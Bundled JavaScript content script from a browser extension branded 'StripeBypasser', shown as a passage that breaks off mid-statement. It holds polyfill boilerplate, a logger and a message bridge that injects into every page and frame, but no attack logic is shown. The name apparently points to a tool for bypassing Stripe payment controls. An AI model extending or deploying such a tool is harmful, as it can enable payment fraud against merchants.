var contentScriptBootstrap = function () {
  "use strict";

  var storage;
  var defineProperty = Object.defineProperty;
  const assignDefinedProperty = (target, key, propertyValue) => {
    const normalizedKey = typeof key != "symbol" ? key + "" : key;
    if (normalizedKey in target) {
      defineProperty(target, normalizedKey, {
        enumerable: true,
        configurable: true,
        writable: true,
        value: propertyValue
      });
    } else {
      target[normalizedKey] = propertyValue;
    }
    return target;
  };
  const contentScriptDefinition = {
    matches: ["<all_urls>"],
    runAt: "document_start",
    allFrames: true,
    main() {}
  };
  function getDefaultExport(moduleValue) {
    if (moduleValue && moduleValue.__esModule && Object.prototype.hasOwnProperty.call(moduleValue, "default")) {
      return moduleValue.default;
    } else {
      return moduleValue;
    }
  }
  var resolvedValue7;
  var exports = {
    exports: {}
  };
  const browserApi = getDefaultExport((resolvedValue7 || (resolvedValue7 = 1, typeof globalThis != "undefined" ? globalThis : typeof self != "undefined" && self, function (exports2) {
    if (!globalThis.chrome || !globalThis.chrome.runtime || !globalThis.chrome.runtime.id) {
      throw new Error("This script should only be loaded in a browser extension.");
    }
    if (globalThis.browser && globalThis.browser.runtime && globalThis.browser.runtime.id) {
      exports2.exports = globalThis.browser;
    } else {
      const createAsyncCallbackHandler = runtime => {
        const browserAction = {
          disable: {
            minArgs: 0,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          enable: {
            minArgs: 0,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          getBadgeBackgroundColor: {
            minArgs: 1,
            maxArgs: 1
          },
          getBadgeText: {
            minArgs: 1,
            maxArgs: 1
          },
          getPopup: {
            minArgs: 1,
            maxArgs: 1
          },
          getTitle: {
            minArgs: 1,
            maxArgs: 1
          },
          openPopup: {
            minArgs: 0,
            maxArgs: 0
          },
          setBadgeBackgroundColor: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          setBadgeText: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          setIcon: {
            minArgs: 1,
            maxArgs: 1
          },
          setPopup: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          setTitle: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          }
        };
        const downloads = {
          cancel: {
            minArgs: 1,
            maxArgs: 1
          },
          download: {
            minArgs: 1,
            maxArgs: 1
          },
          erase: {
            minArgs: 1,
            maxArgs: 1
          },
          getFileIcon: {
            minArgs: 1,
            maxArgs: 2
          },
          open: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          pause: {
            minArgs: 1,
            maxArgs: 1
          },
          removeFile: {
            minArgs: 1,
            maxArgs: 1
          },
          resume: {
            minArgs: 1,
            maxArgs: 1
          },
          search: {
            minArgs: 1,
            maxArgs: 1
          },
          show: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          }
        };
        const getPopup = {
          getPopup: {
            minArgs: 1,
            maxArgs: 1
          },
          getTitle: {
            minArgs: 1,
            maxArgs: 1
          },
          hide: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          setIcon: {
            minArgs: 1,
            maxArgs: 1
          },
          setPopup: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          setTitle: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          },
          show: {
            minArgs: 1,
            maxArgs: 1,
            fallbackToNoCallback: true
          }
        };
        const alarms = {
          alarms: {
            clear: {
              minArgs: 0,
              maxArgs: 1
            },
            clearAll: {
              minArgs: 0,
              maxArgs: 0
            },
            get: {
              minArgs: 0,
              maxArgs: 1
            },
            getAll: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          bookmarks: {
            create: {
              minArgs: 1,
              maxArgs: 1
            },
            get: {
              minArgs: 1,
              maxArgs: 1
            },
            getChildren: {
              minArgs: 1,
              maxArgs: 1
            },
            getRecent: {
              minArgs: 1,
              maxArgs: 1
            },
            getSubTree: {
              minArgs: 1,
              maxArgs: 1
            },
            getTree: {
              minArgs: 0,
              maxArgs: 0
            },
            move: {
              minArgs: 2,
              maxArgs: 2
            },
            remove: {
              minArgs: 1,
              maxArgs: 1
            },
            removeTree: {
              minArgs: 1,
              maxArgs: 1
            },
            search: {
              minArgs: 1,
              maxArgs: 1
            },
            update: {
              minArgs: 2,
              maxArgs: 2
            }
          },
          browserAction: browserAction,
          browsingData: {
            remove: {
              minArgs: 2,
              maxArgs: 2
            },
            removeCache: {
              minArgs: 1,
              maxArgs: 1
            },
            removeCookies: {
              minArgs: 1,
              maxArgs: 1
            },
            removeDownloads: {
              minArgs: 1,
              maxArgs: 1
            },
            removeFormData: {
              minArgs: 1,
              maxArgs: 1
            },
            removeHistory: {
              minArgs: 1,
              maxArgs: 1
            },
            removeLocalStorage: {
              minArgs: 1,
              maxArgs: 1
            },
            removePasswords: {
              minArgs: 1,
              maxArgs: 1
            },
            removePluginData: {
              minArgs: 1,
              maxArgs: 1
            },
            settings: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          commands: {
            getAll: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          contextMenus: {
            remove: {
              minArgs: 1,
              maxArgs: 1
            },
            removeAll: {
              minArgs: 0,
              maxArgs: 0
            },
            update: {
              minArgs: 2,
              maxArgs: 2
            }
          },
          cookies: {
            get: {
              minArgs: 1,
              maxArgs: 1
            },
            getAll: {
              minArgs: 1,
              maxArgs: 1
            },
            getAllCookieStores: {
              minArgs: 0,
              maxArgs: 0
            },
            remove: {
              minArgs: 1,
              maxArgs: 1
            },
            set: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          devtools: {
            inspectedWindow: {
              eval: {
                minArgs: 1,
                maxArgs: 2,
                singleCallbackArg: false
              }
            },
            panels: {
              create: {
                minArgs: 3,
                maxArgs: 3,
                singleCallbackArg: true
              },
              elements: {
                createSidebarPane: {
                  minArgs: 1,
                  maxArgs: 1
                }
              }
            }
          },
          downloads: downloads,
          extension: {
            isAllowedFileSchemeAccess: {
              minArgs: 0,
              maxArgs: 0
            },
            isAllowedIncognitoAccess: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          history: {
            addUrl: {
              minArgs: 1,
              maxArgs: 1
            },
            deleteAll: {
              minArgs: 0,
              maxArgs: 0
            },
            deleteRange: {
              minArgs: 1,
              maxArgs: 1
            },
            deleteUrl: {
              minArgs: 1,
              maxArgs: 1
            },
            getVisits: {
              minArgs: 1,
              maxArgs: 1
            },
            search: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          i18n: {
            detectLanguage: {
              minArgs: 1,
              maxArgs: 1
            },
            getAcceptLanguages: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          identity: {
            launchWebAuthFlow: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          idle: {
            queryState: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          management: {
            get: {
              minArgs: 1,
              maxArgs: 1
            },
            getAll: {
              minArgs: 0,
              maxArgs: 0
            },
            getSelf: {
              minArgs: 0,
              maxArgs: 0
            },
            setEnabled: {
              minArgs: 2,
              maxArgs: 2
            },
            uninstallSelf: {
              minArgs: 0,
              maxArgs: 1
            }
          },
          notifications: {
            clear: {
              minArgs: 1,
              maxArgs: 1
            },
            create: {
              minArgs: 1,
              maxArgs: 2
            },
            getAll: {
              minArgs: 0,
              maxArgs: 0
            },
            getPermissionLevel: {
              minArgs: 0,
              maxArgs: 0
            },
            update: {
              minArgs: 2,
              maxArgs: 2
            }
          },
          pageAction: getPopup,
          permissions: {
            contains: {
              minArgs: 1,
              maxArgs: 1
            },
            getAll: {
              minArgs: 0,
              maxArgs: 0
            },
            remove: {
              minArgs: 1,
              maxArgs: 1
            },
            request: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          runtime: {
            getBackgroundPage: {
              minArgs: 0,
              maxArgs: 0
            },
            getPlatformInfo: {
              minArgs: 0,
              maxArgs: 0
            },
            openOptionsPage: {
              minArgs: 0,
              maxArgs: 0
            },
            requestUpdateCheck: {
              minArgs: 0,
              maxArgs: 0
            },
            sendMessage: {
              minArgs: 1,
              maxArgs: 3
            },
            sendNativeMessage: {
              minArgs: 2,
              maxArgs: 2
            },
            setUninstallURL: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          sessions: {
            getDevices: {
              minArgs: 0,
              maxArgs: 1
            },
            getRecentlyClosed: {
              minArgs: 0,
              maxArgs: 1
            },
            restore: {
              minArgs: 0,
              maxArgs: 1
            }
          },
          storage: {
            local: {
              clear: {
                minArgs: 0,
                maxArgs: 0
              },
              get: {
                minArgs: 0,
                maxArgs: 1
              },
              getBytesInUse: {
                minArgs: 0,
                maxArgs: 1
              },
              remove: {
                minArgs: 1,
                maxArgs: 1
              },
              set: {
                minArgs: 1,
                maxArgs: 1
              }
            },
            managed: {
              get: {
                minArgs: 0,
                maxArgs: 1
              },
              getBytesInUse: {
                minArgs: 0,
                maxArgs: 1
              }
            },
            sync: {
              clear: {
                minArgs: 0,
                maxArgs: 0
              },
              get: {
                minArgs: 0,
                maxArgs: 1
              },
              getBytesInUse: {
                minArgs: 0,
                maxArgs: 1
              },
              remove: {
                minArgs: 1,
                maxArgs: 1
              },
              set: {
                minArgs: 1,
                maxArgs: 1
              }
            }
          },
          tabs: {
            captureVisibleTab: {
              minArgs: 0,
              maxArgs: 2
            },
            create: {
              minArgs: 1,
              maxArgs: 1
            },
            detectLanguage: {
              minArgs: 0,
              maxArgs: 1
            },
            discard: {
              minArgs: 0,
              maxArgs: 1
            },
            duplicate: {
              minArgs: 1,
              maxArgs: 1
            },
            executeScript: {
              minArgs: 1,
              maxArgs: 2
            },
            get: {
              minArgs: 1,
              maxArgs: 1
            },
            getCurrent: {
              minArgs: 0,
              maxArgs: 0
            },
            getZoom: {
              minArgs: 0,
              maxArgs: 1
            },
            getZoomSettings: {
              minArgs: 0,
              maxArgs: 1
            },
            goBack: {
              minArgs: 0,
              maxArgs: 1
            },
            goForward: {
              minArgs: 0,
              maxArgs: 1
            },
            highlight: {
              minArgs: 1,
              maxArgs: 1
            },
            insertCSS: {
              minArgs: 1,
              maxArgs: 2
            },
            move: {
              minArgs: 2,
              maxArgs: 2
            },
            query: {
              minArgs: 1,
              maxArgs: 1
            },
            reload: {
              minArgs: 0,
              maxArgs: 2
            },
            remove: {
              minArgs: 1,
              maxArgs: 1
            },
            removeCSS: {
              minArgs: 1,
              maxArgs: 2
            },
            sendMessage: {
              minArgs: 2,
              maxArgs: 3
            },
            setZoom: {
              minArgs: 1,
              maxArgs: 2
            },
            setZoomSettings: {
              minArgs: 1,
              maxArgs: 2
            },
            update: {
              minArgs: 1,
              maxArgs: 2
            }
          },
          topSites: {
            get: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          webNavigation: {
            getAllFrames: {
              minArgs: 1,
              maxArgs: 1
            },
            getFrame: {
              minArgs: 1,
              maxArgs: 1
            }
          },
          webRequest: {
            handlerBehaviorChanged: {
              minArgs: 0,
              maxArgs: 0
            }
          },
          windows: {
            create: {
              minArgs: 0,
              maxArgs: 1
            },
            get: {
              minArgs: 1,
              maxArgs: 2
            },
            getAll: {
              minArgs: 0,
              maxArgs: 1
            },
            getCurrent: {
              minArgs: 0,
              maxArgs: 1
            },
            getLastFocused: {
              minArgs: 0,
              maxArgs: 1
            },
            remove: {
              minArgs: 1,
              maxArgs: 1
            },
            update: {
              minArgs: 2,
              maxArgs: 2
            }
          }
        };
        const privacy = alarms;
        if (Object.keys(privacy).length === 0) {
          throw new Error("api-metadata.json has not been included in browser-polyfill");
        }
        class lazyWeakMap extends WeakMap {
          constructor(createItem, value = undefined) {
            super(value);
            this.createItem = createItem;
          }
          get(key5) {
            if (!this.has(key5)) {
              this.set(key5, this.createItem(key5));
            }
            return super.get(key5);
          }
        }
        const createAsyncCallbackHandler = (resolve, singleCallbackArg) => (...length) => {
          if (runtime.runtime.lastError) {
            resolve.reject(new Error(runtime.runtime.lastError.message));
          } else if (singleCallbackArg.singleCallbackArg || length.length <= 1 && singleCallbackArg.singleCallbackArg !== false) {
            resolve.resolve(length[0]);
          } else {
            resolve.resolve(length);
          }
        };
        const formatArgumentCountLabel = value => value == 1 ? "argument" : "arguments";
        const wrapMethodCall = (value, value2, call) => new Proxy(value2, {
          apply: (value, value5, value6) => call.call(value5, value, ...value6)
        });
        let bindResult = Function.call.bind(Object.prototype.hasOwnProperty);
        const wrapBrowserApiObject = (inputPayload3, options = {}, options2 = {}) => {
          let createdItem = Object.create(null);
          let has = {
            has: (value, value4) => value4 in inputPayload3 || value4 in createdItem,
            get(key5, key2, key3) {
              if (key2 in createdItem) {
                return createdItem[key2];
              }
              if (!(key2 in inputPayload3)) {
                return;
              }
              let wrapMethodCallResult = inputPayload3[key2];
              if (typeof wrapMethodCallResult == "function") {
                if (typeof options[key2] == "function") {
                  wrapMethodCallResult = wrapMethodCall(inputPayload3, inputPayload3[key2], options[key2]);
                } else if (bindResult(options2, key2)) {
                  let computedValue = ((error, error2) => function (inputPayload4, ...length) {
                    if (length.length < error2.minArgs) {
                      throw new Error("Expected at least " + error2.minArgs + " " + formatArgumentCountLabel(error2.minArgs) + " for " + error + "(), got " + length.length);
                    }
                    if (length.length > error2.maxArgs) {
                      throw new Error("Expected at most " + error2.maxArgs + " " + formatArgumentCountLabel(error2.maxArgs) + " for " + error + "(), got " + length.length);
                    }
                    return new Promise((completionCallback, reject2) => {
                      if (error2.fallbackToNoCallback) {
                        try {
                          const resolve2 = {
                            resolve: completionCallback,
                            reject: reject2
                          };
                          inputPayload4[error](...length, createAsyncCallbackHandler(resolve2, error2));
                        } catch (e) {
                          console.warn(error + " API method doesn't seem to support the callback parameter, falling back to call it without a callback: ", e);
                          inputPayload4[error](...length);
                          error2.fallbackToNoCallback = false;
                          error2.noCallback = true;
                          completionCallback();
                        }
                      } else if (error2.noCallback) {
                        inputPayload4[error](...length);
                        completionCallback();
                      } else {
                        inputPayload4[error](...length, createAsyncCallbackHandler({
                          resolve: completionCallback,
                          reject: reject2
                        }, error2));
                      }
                    });
                  })(key2, options2[key2]);
                  wrapMethodCallResult = wrapMethodCall(inputPayload3, inputPayload3[key2], computedValue);
                } else {
                  wrapMethodCallResult = wrapMethodCallResult.bind(inputPayload3);
                }
              } else if (typeof wrapMethodCallResult == "object" && wrapMethodCallResult !== null && (bindResult(options, key2) || bindResult(options2, key2))) {
                wrapMethodCallResult = wrapBrowserApiObject(wrapMethodCallResult, options[key2], options2[key2]);
              } else {
                if (!bindResult(options2, "*")) {
                  Object.defineProperty(createdItem, key2, {
                    configurable: true,
                    enumerable: true,
                    get: () => inputPayload3[key2],
                    set(key6) {
                      inputPayload3[key2] = key6;
                    }
                  });
                  return wrapMethodCallResult;
                }
                wrapMethodCallResult = wrapBrowserApiObject(wrapMethodCallResult, options[key2], options2["*"]);
              }
              createdItem[key2] = wrapMethodCallResult;
              return wrapMethodCallResult;
            },
            set: (key, value, value2, value5) => {
              if (value in createdItem) {
                createdItem[value] = value2;
              } else {
                inputPayload3[value] = value2;
              }
              return true;
            },
            defineProperty: (value, value2, value5) => Reflect.defineProperty(createdItem, value2, value5),
            deleteProperty: (value, value2) => Reflect.deleteProperty(createdItem, value2)
          };
          let createdItem2 = Object.create(inputPayload3);
          return new Proxy(createdItem2, has);
        };
        const createEventFacade = get => ({
          addListener(addListener, value, ...extraArgs) {
            addListener.addListener(get.get(value), ...extraArgs);
          },
          hasListener: (hasListener, value) => hasListener.hasListener(get.get(value)),
          removeListener(removeListener, value) {
            removeListener.removeListener(get.get(value));
          }
        });
        const requestFinishedCallbackMap = new lazyWeakMap(completionCallback => typeof completionCallback != "function" ? completionCallback : function (value) {
          const wrapBrowserApiObjectResult = wrapBrowserApiObject(value, {}, {
            getContent: {
              minArgs: 0,
              maxArgs: 0
            }
          });
          completionCallback(wrapBrowserApiObjectResult);
        });
        const runtimeMessageCallbackMap = new lazyWeakMap(completionCallback => typeof completionCallback != "function" ? completionCallback : function (value, value2, completionCallback) {
          let respondOnce;
          let promise;
          let hasResponded = false;
          let pendingPromise = new Promise(completionCallback => {
            respondOnce = function (value) {
              hasResponded = true;
              completionCallback(value);
            };
          });
          try {
            promise = completionCallback(value, value2, respondOnce);
          } catch (error) {
            promise = Promise.reject(error);
          }
          const then = true !== promise && (then2 = promise) && typeof then2 == "object" && typeof then2.then == "function";
          var then2;
          return (promise === true || !!then || !!hasResponded) && ((then ? promise : pendingPromise).then(result => {
            completionCallback(result);
          }, error => {
            let error2;
            error2 = error && (error instanceof Error || typeof error.message == "string") ? error.message : "An unexpected error occurred";
            completionCallback({
              __mozWebExtensionPolyfillReject__: true,
              message: error2
            });
          }).catch(error => {
            console.error("Failed to send onMessage rejected reply", error);
          }), true);
        });
        const handlePolyfillMessageResponse = ({
          reject: reject,
          resolve: resolve
        }, message) => {
          if (runtime.runtime.lastError) {
            if (runtime.runtime.lastError.message === "The message port closed before a response was received.") {
              resolve();
            } else {
              reject(new Error(runtime.runtime.lastError.message));
            }
          } else if (message && message.__mozWebExtensionPolyfillReject__) {
            reject(new Error(message.message));
          } else {
            resolve(message);
          }
        };
        const sendMessageWithResponse = (error, error2, sendMessage, ...length) => {
          if (length.length < error2.minArgs) {
            throw new Error("Expected at least " + error2.minArgs + " " + formatArgumentCountLabel(error2.minArgs) + " for " + error + "(), got " + length.length);
          }
          if (length.length > error2.maxArgs) {
            throw new Error("Expected at most " + error2.maxArgs + " " + formatArgumentCountLabel(error2.maxArgs) + " for " + error + "(), got " + length.length);
          }
          return new Promise((resolve3, reject2) => {
            const resolve2 = {
              resolve: resolve3,
              reject: reject2
            };
            const bindResult2 = handlePolyfillMessageResponse.bind(null, resolve2);
            length.push(bindResult2);
            sendMessage.sendMessage(...length);
          });
        };
        const devtools = {
          devtools: {
            network: {
              onRequestFinished: createEventFacade(requestFinishedCallbackMap)
            }
          },
          runtime: {
            onMessage: createEventFacade(runtimeMessageCallbackMap),
            onMessageExternal: createEventFacade(runtimeMessageCallbackMap),
            sendMessage: sendMessageWithResponse.bind(null, "sendMessage", {
              minArgs: 1,
              maxArgs: 3
            })
          },
          tabs: {
            sendMessage: sendMessageWithResponse.bind(null, "sendMessage", {
              minArgs: 2,
              maxArgs: 3
            })
          }
        };
        const clear = {
          clear: {
            minArgs: 1,
            maxArgs: 1
          },
          get: {
            minArgs: 1,
            maxArgs: 1
          },
          set: {
            minArgs: 1,
            maxArgs: 1
          }
        };
        const network = {
          "*": clear
        };
        const services = {
          "*": clear
        };
        const websites = {
          "*": clear
        };
        const network2 = {
          network: network,
          services: services,
          websites: websites
        };
        privacy.privacy = network2;
        return wrapBrowserApiObject(runtime, devtools, privacy);
      };
      exports2.exports = createAsyncCallbackHandler(chrome);
    }
  }(exports)), exports.exports));
  const LocationChangeEvent = class LocationChangeEvent extends Event {
    constructor(newUrl, oldUrl) {
      super(LocationChangeEvent.EVENT_NAME, {});
      this.newUrl = newUrl;
      this.oldUrl = oldUrl;
    }
  };
  assignDefinedProperty(LocationChangeEvent, "EVENT_NAME", getContentScriptEventName("wxt:locationchange"));
  function getContentScriptEventName(value) {
    var runtime;
    return ((runtime = browserApi == null ? undefined : browserApi.runtime) == null ? undefined : runtime.id) + ":content:" + value;
  }
  const ContentScriptContext = class ContentScriptContext {
    constructor(contentScriptName, options) {
      assignDefinedProperty(this, "isTopFrame", window.self === window.top);
      assignDefinedProperty(this, "abortController");
      assignDefinedProperty(this, "locationWatcher", function (setInterval2) {
        let intervalResult;
        let urlRef;
        return {
          run() {
            if (intervalResult == null) {
              urlRef = new URL(location.href);
              intervalResult = setInterval2.setInterval(() => {
                let urlRef2 = new URL(location.href);
                if (urlRef2.href !== urlRef.href) {
                  window.dispatchEvent(new LocationChangeEvent(urlRef2, urlRef));
                  urlRef = urlRef2;
                }
              }, 1000);
            }
          }
        };
      }(this));
      assignDefinedProperty(this, "receivedMessageIds", new Set());
      this.contentScriptName = contentScriptName;
      this.options = options;
      this.abortController = new AbortController();
      if (this.isTopFrame) {
        this.listenForNewerScripts({
          ignoreFirstEvent: true
        });
        this.stopOldScripts();
      } else {
        this.listenForNewerScripts();
      }
    }
    get signal() {
      return this.abortController.signal;
    }
    abort(value) {
      return this.abortController.abort(value);
    }
    get isInvalid() {
      if (browserApi.runtime.id == null) {
        this.notifyInvalidated();
      }
      return this.signal.aborted;
    }
    get isValid() {
      return !this.isInvalid;
    }
    onInvalidated(onAbort) {
      this.signal.addEventListener("abort", onAbort);
      return () => this.signal.removeEventListener("abort", onAbort);
    }
    block() {
      return new Promise(() => {});
    }
    setInterval(completionCallback, delayMs) {
      const intervalResult = setInterval(() => {
        if (this.isValid) {
          completionCallback();
        }
      }, delayMs);
      this.onInvalidated(() => clearInterval(intervalResult));
      return intervalResult;
    }
    setTimeout(completionCallback, delayMs) {
      const timeoutResult = setTimeout(() => {
        if (this.isValid) {
          completionCallback();
        }
      }, delayMs);
      this.onInvalidated(() => clearTimeout(timeoutResult));
      return timeoutResult;
    }
    requestAnimationFrame(completionCallback) {
      const requestAnimationFrameResult = requestAnimationFrame((...extraArgs) => {
        if (this.isValid) {
          completionCallback(...extraArgs);
        }
      });
      this.onInvalidated(() => cancelAnimationFrame(requestAnimationFrameResult));
      return requestAnimationFrameResult;
    }
    requestIdleCallback(completionCallback, value) {
      const requestIdleCallbackResult = requestIdleCallback((...extraArgs) => {
        if (!this.signal.aborted) {
          completionCallback(...extraArgs);
        }
      }, value);
      this.onInvalidated(() => cancelIdleCallback(requestIdleCallbackResult));
      return requestIdleCallbackResult;
    }
    addEventListener(addEventListener2, startsWith, value, value2) {
      var addEventListener3;
      if (startsWith === "wxt:locationchange" && this.isValid) {
        this.locationWatcher.run();
      }
      if ((addEventListener3 = addEventListener2.addEventListener) != null) {
        addEventListener3.call(addEventListener2, startsWith.startsWith("wxt:") ? getContentScriptEventName(startsWith) : startsWith, value, {
          ...value2,
          signal: this.signal
        });
      }
    }
    notifyInvalidated() {
      this.abort("Content script context invalidated");
      if (typeof console != "undefined" && typeof console.debug == "function") {
        console.debug("[StripeBypasser] Content script context invalidated:", this.contentScriptName);
      }
    }
    stopOldScripts() {
      window.postMessage({
        type: ContentScriptContext.SCRIPT_STARTED_MESSAGE_TYPE,
        contentScriptName: this.contentScriptName,
        messageId: Math.random().toString(36).slice(2)
      }, "*");
    }
    verifyScriptStartedEvent(data) {
      var type;
      var contentScriptName;
      var messageId;
      const type3 = ((type = data.data) == null ? undefined : type.type) === ContentScriptContext.SCRIPT_STARTED_MESSAGE_TYPE;
      const contentScriptName2 = ((contentScriptName = data.data) == null ? undefined : contentScriptName.contentScriptName) === this.contentScriptName;
      const isNewMessageId = !this.receivedMessageIds.has((messageId = data.data) == null ? undefined : messageId.messageId);
      return type3 && contentScriptName2 && isNewMessageId;
    }
    listenForNewerScripts(ignoreFirstEvent) {
      let isActive = true;
      const handleScriptStartedMessage = data => {
        if (this.verifyScriptStartedEvent(data)) {
          this.receivedMessageIds.add(data.data.messageId);
          const isActive2 = isActive;
          isActive = false;
          if (isActive2 && (ignoreFirstEvent == null ? undefined : ignoreFirstEvent.ignoreFirstEvent)) {
            return;
          }
          this.notifyInvalidated();
        }
      };
      addEventListener("message", handleScriptStartedMessage);
      this.onInvalidated(() => removeEventListener("message", handleScriptStartedMessage));
    }
  };
  assignDefinedProperty(ContentScriptContext, "SCRIPT_STARTED_MESSAGE_TYPE", getContentScriptEventName("wxt:content-script-started"));
  const symbolResult = Symbol("null");
  let countValue2 = 0;
  class ManyKeysMap extends Map {
    constructor() {
      super();
      this._objectHashes = new WeakMap();
      this._symbolHashes = new Map();
      this._publicKeys = new Map();
      const [entries] = arguments;
      if (entries != null) {
        if (typeof entries[Symbol.iterator] != "function") {
          throw new TypeError(typeof entries + " is not iterable (cannot read property Symbol(Symbol.iterator))");
        }
        for (const [keys, entryValue] of entries) {
          this.set(keys, entryValue);
        }
      }
    }
    _getPublicKeys(value, isEnabled = false) {
      if (!Array.isArray(value)) {
        throw new TypeError("The keys parameter must be an array");
      }
      const privateKey2 = this._getPrivateKey(value, isEnabled);
      let publicKey;
      if (privateKey2 && this._publicKeys.has(privateKey2)) {
        publicKey = this._publicKeys.get(privateKey2);
      } else if (isEnabled) {
        publicKey = [...value];
        this._publicKeys.set(privateKey2, publicKey);
      }
      return {
        privateKey: privateKey2,
        publicKey: publicKey
      };
    }
    _getPrivateKey(value, isEnabled = false) {
      const push = [];
      for (let iterItem of value) {
        if (iterItem === null) {
          iterItem = symbolResult;
        }
        const iterItem2 = typeof iterItem == "object" || typeof iterItem == "function" ? "_objectHashes" : typeof iterItem == "symbol" && "_symbolHashes";
        if (iterItem2) {
          if (this[iterItem2].has(iterItem)) {
            push.push(this[iterItem2].get(iterItem));
          } else {
            if (!isEnabled) {
              return false;
            }
            {
              const privateRef = "@@mkm-ref-" + countValue2++ + "@@";
              this[iterItem2].set(iterItem, privateRef);
              push.push(privateRef);
            }
          }
        } else {
          push.push(iterItem);
        }
      }
      return JSON.stringify(push);
    }
    set(keys, value) {
      const {
        publicKey: publicKey
      } = this._getPublicKeys(keys, true);
      return super.set(publicKey, value);
    }
    get(keys) {
      const {
        publicKey: publicKey
      } = this._getPublicKeys(keys);
      return super.get(publicKey);
    }
    has(value) {
      const {
        publicKey: publicKey
      } = this._getPublicKeys(value);
      return super.has(publicKey);
    }
    delete(value) {
      const {
        publicKey: publicKey,
        privateKey: privateKey
      } = this._getPublicKeys(value);
      return Boolean(publicKey && super.delete(publicKey) && this._publicKeys.delete(privateKey));
    }
    clear() {
      super.clear();
      this._symbolHashes.clear();
      this._publicKeys.clear();
    }
    get [Symbol.toStringTag]() {
      return "ManyKeysMap";
    }
    get size() {
      return super.size;
    }
  }
  const contentScriptExecution = (async () => {
    try {
      const {
        main: main,
        ...contentScriptOptions
      } = contentScriptDefinition;
      const contentScriptContext = new ContentScriptContext("content", contentScriptOptions);
      return await main(contentScriptContext);
    } catch (error) {
      console.error("[StripeBypasser] Failed to bootstrap content script:", error);
      throw error;
    }
  })();
  const enableLogging = {
    enableLogging: false,
    enableDetailedErrors: true,
    enableDebugLogs: false
  };
  (function () {
    var storage2;
    if (typeof chrome != "undefined" && ((storage2 = chrome.storage) == null ? undefined : storage2.local)) {
      try {
        chrome.storage.local.get(["bypasserSettings"], bypasserSettings => {
          var bypasserSettings2;
          if (((bypasserSettings2 = bypasserSettings == null ? undefined : bypasserSettings.bypasserSettings) == null ? undefined : bypasserSettings2.debugLogging) !== undefined) {
            enableLogging.enableLogging = !!bypasserSettings.bypasserSettings.debugLogging;
            enableLogging.enableDebugLogs = !!bypasserSettings.bypasserSettings.debugLogging;
          }
        });
      } catch (error) {
        if (enableLogging.enableDetailedErrors && typeof console != "undefined" && typeof console.warn == "function") {
          console.warn("[StripeBypasser] Failed to load initial logging settings:", error);
        }
      }
    }
  })();
  if (typeof chrome != "undefined" && ((storage = chrome.storage) == null ? undefined : storage.onChanged)) {
    try {
      chrome.storage.onChanged.addListener((changes, areaName) => {
        if (areaName === "local" && changes.bypasserSettings) {
          const debugLogging = changes.bypasserSettings.newValue;
          if ((debugLogging == null ? undefined : debugLogging.debugLogging) !== undefined) {
            enableLogging.enableLogging = !!debugLogging.debugLogging;
            enableLogging.enableDebugLogs = !!debugLogging.debugLogging;
          }
        }
      });
    } catch (error) {
      if (enableLogging.enableDetailedErrors && typeof console != "undefined" && typeof console.warn == "function") {
        console.warn("[StripeBypasser] Failed to watch logging settings:", error);
      }
    }
  }
  const writeConsoleMessage = (method, message, details) => {
    if (typeof console == "undefined" || typeof console[method] != "function") {
      return;
    }
    if (details === undefined || details === "") {
      console[method]("[StripeBypasser]", message);
    } else {
      console[method]("[StripeBypasser]", message, details);
    }
  };
  const stripeBypasserLogger = {
    log: (message, details) => {
      if (enableLogging.enableLogging) {
        writeConsoleMessage("log", message, details);
      }
    },
    debug: (message, details) => {
      if (enableLogging.enableDebugLogs) {
        writeConsoleMessage("debug", message, details);
      }
    },
    error: (message, details) => {
      writeConsoleMessage("error", message, details);
    },
    warn: (message, details) => {
      if (enableLogging.enableDetailedErrors || enableLogging.enableLogging) {
        writeConsoleMessage("warn", message, details);
      }
    }
  };
  if (typeof window != "undefined") {
    window.StripeBypasserLogger = stripeBypasserLogger;
  }
  if (typeof self != "undefined" && typeof chrome != "undefined") {
    self.StripeBypasserLogger = stripeBypasserLogger;
  }
  function sendToBackground(value, toBackgroundCallback) {
    try {
      if (typeof chrome == "undefined" || !chrome.runtime || !chrome.runtime.sendMessage) {
        if (toBackgroundCallback) {
          toBackgroundCallback({
            success: false,
            error: "Runtime not available"
          });
        }
        return;
      }
      chrome.runtime.sendMessage(value, value => {
        if (chrome.runtime.lastError) {
          const error = chrome.runtime.lastError.message;
          if (!!error && !error.includes("message channel closed") && !error.includes("background page") && !error.includes("Extension context invalidated")) {
            console.warn("[MessageBridge] Runtime error:", error);
          }
          if (toBackgroundCallback) {
            toBackgroundCallback({
              success: false,
              error: error
            });
          }
          return;
        }
        if (toBackgroundCallback) {
          toBackgroundCallback(value || {
            success: true
          });
        }
      });
    } catch (error) {
      const result = {
        success: false,
        error: error.message
      };
      if (toBackgroundCallback) {
        toBackgroundCallback(result);
      }
    }
  }
  function sendToMainWorld(value) {
    try {
      const postMessage = window.top !== window.self ? window.top : window;
      if (postMessage && postMessage.postMessage) {
        postMessage.postMessage(value, "*");
        if (postMessage !== window) {
          window.postMessage(value, "*");
        }
        return true;
      } else {
        window.postMessage(value, "*");
        return true;
      }
    } catch (error) {
      return false;
    }
  }
  const stripeBypasserMessageBridge = {
    sendToBackground: sendToBackground,
    sendToMainWorld: sendToMainWorld
  };
  if (typeof window != "undefined") {
